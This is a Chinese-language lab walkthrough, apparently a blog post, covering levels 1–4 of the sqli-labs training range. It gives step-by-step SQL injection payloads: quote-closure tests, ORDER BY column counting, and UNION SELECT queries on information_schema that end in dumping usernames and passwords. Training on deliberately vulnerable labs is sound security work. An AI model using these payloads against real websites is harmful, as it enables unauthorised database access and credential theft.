sqli-labs靶场 Pass01-04通关秘诀(详解版)

关卡(类型):特点

Less-1(字符型):’    --+

1.判断注入:

PS如果我们还拿数字型得语句进行注入得话,会发现页面并没有什么变化,这是因为我们输入得SQL语句被 '' 单引号所包裹成为字符串,从而失去了 and 以及其他语句本身得作用。

所以:我们需要将我们得语句从单引号中逃逸出去。

?id=1' and 1=1 --+

?id=1' and 1=2 --+

进行注入时,发现1=2没有报错,所以,试试将它闭合。

闭合后,?id=1’ and 1=2 --+报错了。

说明存在注入。

2.判断字段数量:

?id=1’ order by 3 --+

3.查找数据库名称

?id=1' union select 1,2,database() --+

PS:后面注入语句与数字型注入相同,只不过闭合有区别。

Less-02(数字型):

1.判断是否存在注入

输入id=1’,  ’  被带入数据库执行,说明存在 ‘ 被带入数据库执行了。

id = 1 and 1=1,页面被正常执行。

id = 1 and 1=2,页面被执行异常。

2.判断字段数量:

?id = 1 order by 10,从10开始,采用二分法,取5、3、2等判断,最终得出字段数有3列。

3.判断回显位置:

?id = 1 union select 1,2,3

PS:由于数据只显示一行,当id=1时,我们无法从页面回显中判断回显位置,所以我们输入id = -1,判断页面回显位置,判断出回显位置在2,3。

4.查询数据库名称:

?id =-1 union select 1,database(),3

输入上述指令,使得数据库回显在2的位置。

5.查询数据表

PS:对于数据库版本大于5.0的,我们可以使用内置表information_schema表进行判断。

?id=-1 union select 1,2,table_name from information_schema.tables where table_schema=’security’;

解释:id等于-1 union 选择回显在3位置,数据表来自内置库数据表‘security’里。

可以通过limit函数偏移遍历获取所有表名。

Limit 2,1 --+

可以通过group_concat()函数拼接显示所有表名:

192.168.4.218/BC/sqli-labs-master/Less-2/

?id=-1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'

6.查询数据表中字段名

能看到在“users”表中,所有的字段名,由于是来自information_schema总表中的,所以,我们可以对表中的数据进行限制,让他来自“security”数据库中的“users”表中的字段名。发现有三个字段。

7.获取字段下数据

192.168.4.218/BC/sqli-labs-master/Less-2/

?id=-1 union select 1,username,password from users

Less-3:’)   --+

(参考文章:https://blog.csdn.net/s_xcx_ah/article/details/125217245)

一、判断页面是否存在回显

1.正常的参数显示正常。

2.输入错误的参数:

存在回显:''1'') LIMIT 0,1'

去掉外面的单引号得到:'1'') LIMIT 0,1

由此可判断闭合为:')

二、构造语句判断是否存在SQL注入

1.输入:?id=1') and 1=1 --+

正确显示

2.输入:?id=1') and 1=2 --+

错误显示

3.由此判断出此处存在SQL注入漏洞

三、开始注入

1.使用order by确定字段数

输入:?id=1') order by 3 --+

输入:?id=1') order by 4 --+

输入3显示正常,输入4报错,则判断数据库中的字段数为3

2.使用union进行注入

(1)判断回显的位置:

?id=-1') union select 1,2,3 --+    (union查询前面的参数必须错误)

可以看出2和3可以在页面中具体显示出来

(2)通过回显的位置构造语句查询数据库版本与名称:

?id=-1') union select 1,version(),database() --+

可以看出:数据库的版本是5.7.26;数据库名称是security

(3)构造语句爆出表名:

?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),database() --+

看出security中存在的表名有:emails、referers、uagents、users

我们最重要的是查看users表中的数据

(4)构造语句爆出字段名:

?id=-1') union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),database() --+

(5)爆出敏感信息:

?id=-1') union select 1,(select group_concat(username,0x3a,password) from security.users),database() --+  (只需要爆出用户名和密码即可)

成功!!!

Less-4:”)  --+

一、判断页面是否存在回显

1.输入正确参数:1

2.输入错误参数:1'

无异常

3.输入错误参数:1"

出现:'"1"") LIMIT 0,1'

去掉外面单引号:"1"") LIMIT 0,1

由此判断闭合:")

二、构造bool语句判断是否存在SQL注入

1.输入:?id=1") and 1=1 --+

2.输入:?id=1") and 1=2 --+

由此判断存在SQL注入

三、开始注入

1.使用order by判断字段数

(1)输入:?id=1") order by 3 --+

(2)输入:?id=1") order by 4 --+

判断出字段数为3

2.使用union判断回显位置

(1)?id=-1") union select 1,2,3 --+    (联合查询需要前面的语句报错,所以id赋值为-1)

可以看出2,3会回显在页面上

(2)构造语句查询数据库版本以及对应的数据库名:

?id=-1") union select 1,version(),database() --+

看出数据库版本为5.7.26;数据库名为security

(3)构造语句爆出数据库表名:

?id=-1") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),database() --+

可以看出数据库中的表有:emails、referers、uagents、users

最重要的是爆出users表中的信息

(4)构造语句爆出users表中的字段名:

?id=-1") union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),database() --+

(5)构造语句爆出username和password的数据:

?id=-1") union select 1,(select group_concat(username,0x3a,password) from security.users),database() --+

成功!!!

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值